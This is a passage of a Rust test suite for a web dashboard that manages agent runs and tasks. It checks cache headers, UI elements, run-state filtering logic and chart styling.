21568 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21569 assert_eq!(
21570 view2["latest_attempt"]["resolved"], false,
21571 "an unverified no-op claim must not read as a confirmed finish"
21572 );
21573
21574 assert!(APP_JS.contains("latest.resolved"));
21577 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21580 assert!(APP_JS.contains("Latest attempt: "));
21581 assert!(APP_JS.contains("in flight"));
21582 assert!(APP_JS.contains("not resolved"));
21583 }
21584
21585 #[tokio::test]
21586 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21587 let fx = Fixture::start().await;
21588 let js = fx.get("/app.js").await;
21594 assert_eq!(js.status, 200);
21595 let tag = js
21596 .header("etag")
21597 .expect("an etag to revalidate against")
21598 .to_owned();
21599 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21600 assert_eq!(
21601 js.header("cache-control"),
21602 Some("no-cache, must-revalidate"),
21603 "the phone has to ask every time"
21604 );
21605
21606 let again = fx
21609 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21610 .await;
21611 assert_eq!(
21612 again.status, 304,
21613 "a deck it already has costs one round trip"
21614 );
21615 assert!(again.body.is_empty(), "304 carries no body");
21616
21617 let weak = fx
21620 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21621 .await;
21622 assert_eq!(weak.status, 304);
21623 let stale = fx
21624 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21625 .await;
21626 assert_eq!(stale.status, 200, "an older build must be replaced");
21627 assert!(stale.body.contains("renderRunActions"));
21628 }
21629
21630 #[test]
21631 fn the_task_detail_has_an_actions_fab_and_sheet() {
21632 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21633 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21634 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21635 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21637 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21638 assert!(APP_JS.contains("renderTaskActions(task);"));
21640 assert!(APP_JS.contains("renderTaskActions(null);"));
21641 let sheet = APP_JS
21643 .find("function renderTaskActions")
21644 .expect("sheet renderer");
21645 let body = &APP_JS[sheet..sheet + 3000];
21646 assert!(body.contains("changePriority("));
21647 assert!(body.contains("openTaskEdit(task)"));
21648 assert!(body.contains("renderTaskHoldBox(host"));
21649 assert!(body.contains("renderTaskDoneBox(host"));
21650 assert!(body.contains("renderTaskDeleteBox(host"));
21651 assert!(APP_JS.contains("API.priority(id)"));
21652 assert!(APP_JS.contains("API.deleteTask(id)"));
21653 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21655 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21657 }
21658
21659 #[test]
21660 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21661 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21662 let actions = INDEX_HTML
21663 .find("id=\"run-actions-box\"")
21664 .expect("actions box");
21665 assert!(task < actions, "the task entry comes first in the sheet");
21666 assert!(APP_JS.contains("renderRunTaskEntry"));
21667 assert!(APP_JS.contains("\"Open task \""));
21668 assert!(APP_JS.contains("started directly, no task"));
21670 assert!(APP_JS.contains("sheet-task-link"));
21671 assert!(APP_JS.contains("task-chip-link"));
21672 }
21673
21674 #[test]
21675 fn the_deck_never_sends_the_operator_to_a_terminal() {
21676 assert!(
21679 !APP_JS.contains("Run `magi fold` first"),
21680 "the deck must offer the fold, not prescribe a shell command"
21681 );
21682 assert!(APP_JS.contains("foldRun:"));
21683 assert!(APP_JS.contains("resumeRun:"));
21684 assert!(APP_JS.contains("renderRunActions"));
21685
21686 assert!(APP_JS.contains("armedFold"));
21688 assert!(APP_JS.contains("Yes, fold worktrees"));
21689
21690 assert!(APP_JS.contains("can no longer be resumed"));
21693 }
21694
21695 #[test]
21696 fn a_finished_run_explains_itself_with_its_own_last_line() {
21697 assert!(
21703 !APP_JS.contains("collapsed on agent quota"),
21704 "a stall must not be explained by a cause the deck did not check"
21705 );
21706 assert!(
21707 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21708 "and a block must not offer a guess with an `or` in it"
21709 );
21710
21711 assert!(
21715 APP_JS.contains("setText(r.event, run.event || \"\")"),
21716 "the run's last line is rendered unconditionally"
21717 );
21718 assert!(
21719 !APP_JS.contains("moving && run.event"),
21720 "and never gated on the run still moving"
21721 );
21722
21723 assert!(APP_JS.contains("lost to quota"));
21725 }
21726
21727 #[test]
21749 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21750 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21751 let shapes_body_start =
21752 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21753 let shapes_close = APP_JS[shapes_body_start..]
21754 .find("].map(")
21755 .expect("the shape list is closed by its done-computing .map(...)")
21756 + shapes_body_start;
21757 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21758
21759 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21760 for entry in shapes_src.split('{').skip(1) {
21761 let waiting = entry.contains("waiting: true");
21762 let dead = entry.contains("live: \"dead\"");
21763 let status_at =
21764 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21765 let status_end = entry[status_at..]
21766 .find('"')
21767 .expect("the status string is closed")
21768 + status_at;
21769 let parked = entry.contains("display_status: \"parked\"");
21770 shapes.push((
21771 waiting,
21772 entry[status_at..status_end].to_string(),
21773 dead,
21774 parked,
21775 ));
21776 }
21777 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21778
21779 let done_rule_marker = "done: !";
21783 let done_rule_at = APP_JS[shapes_close..]
21784 .find(done_rule_marker)
21785 .expect("the done rule follows the shape list")
21786 + shapes_close
21787 + done_rule_marker.len();
21788 let includes_at = APP_JS[done_rule_at..]
21789 .find(".includes(shape.status)")
21790 .expect("the done rule ends in .includes(shape.status)")
21791 + done_rule_at;
21792 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21793 .trim()
21794 .trim_start_matches('[')
21795 .trim_end_matches(']')
21796 .split(',')
21797 .map(|s| s.trim().trim_matches('"'))
21798 .filter(|s| !s.is_empty())
21799 .collect();
21800
21801 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21802 .into_iter()
21803 .map(|(waiting, status, dead, parked)| {
21804 let done = !not_done.contains(&status.as_str());
21805 (waiting, status, dead, parked, done)
21806 })
21807 .collect();
21808
21809 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21813 if waiting {
21814 return "waiting";
21815 }
21816 if dead
21817 && !parked
21818 && !matches!(
21819 status,
21820 "merged"
21821 | "ready"
21822 | "stalled"
21823 | "blocked"
21824 | "failed"
21825 | "verified_noop"
21826 | "superseded"
21827 | "already_in_base"
21828 )
21829 {
21830 return "stale";
21831 }
21832 match status {
21833 "merged" | "ready" => "landed",
21834 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21835 | "already_in_base" => "ended",
21836 _ => "flight",
21837 }
21838 }
21839
21840 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21843 match filter_key {
21844 "active" => !done,
21845 "flight" => !done && !waiting && !dead,
21846 "stale" => !done && !waiting && dead,
21847 "waiting" => waiting,
21848 "done" => done,
21849 "all" => true,
21850 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21851 }
21852 }
21853
21854 let compatible = |section: &str, filter_key: &str| {
21855 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21856 run_section(*waiting, status, *dead, *parked) == section
21857 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21858 })
21859 };
21860
21861 let expected = [
21866 ("waiting", [true, false, false, true, true, true]),
21867 ("stale", [true, false, true, false, false, true]),
21868 ("flight", [true, true, false, false, false, true]),
21869 ("landed", [false, false, false, false, true, true]),
21870 ("ended", [false, false, false, false, true, true]),
21871 ];
21872 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21873
21874 for (section, wants) in expected {
21875 for (filter_key, want) in filter_keys.iter().zip(wants) {
21876 assert_eq!(
21877 compatible(section, filter_key),
21878 want,
21879 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21880 );
21881 }
21882 }
21883
21884 assert!(
21887 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21888 );
21889 assert!(APP_JS.contains(
21890 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21891 ));
21892 assert!(APP_JS.contains(
21893 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21894 ));
21895 }
21896
21897 #[tokio::test]
21898 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21899 let dir = tempfile::tempdir().expect("tempdir");
21903 let explicit = dir.path().join("not-a-checkout");
21904 std::fs::create_dir_all(&explicit).expect("create dir");
21905 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21906
21907 let missing = dir.path().join("does-not-exist-at-all");
21908 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21909 }
21910
21911 #[test]
21912 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21913 assert!(APP_JS.contains("function statsDonutArcs"));
21914 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21915 assert!(APP_JS.contains("function statusInBucket"));
21917 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21918 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21919 let buckets = [
21920 "merged",
21921 "ready",
21922 "in_progress",
21923 "blocked",
21924 "failed",
21925 "verified_noop",
21926 "superseded",
21927 "stalled",
21928 ];
21929 for key in buckets {
21930 let var = format!("--verdict-{key}:");
21931 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21933 assert!(
21934 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21935 "{key}"
21936 );
21937 }
21938 }
21939}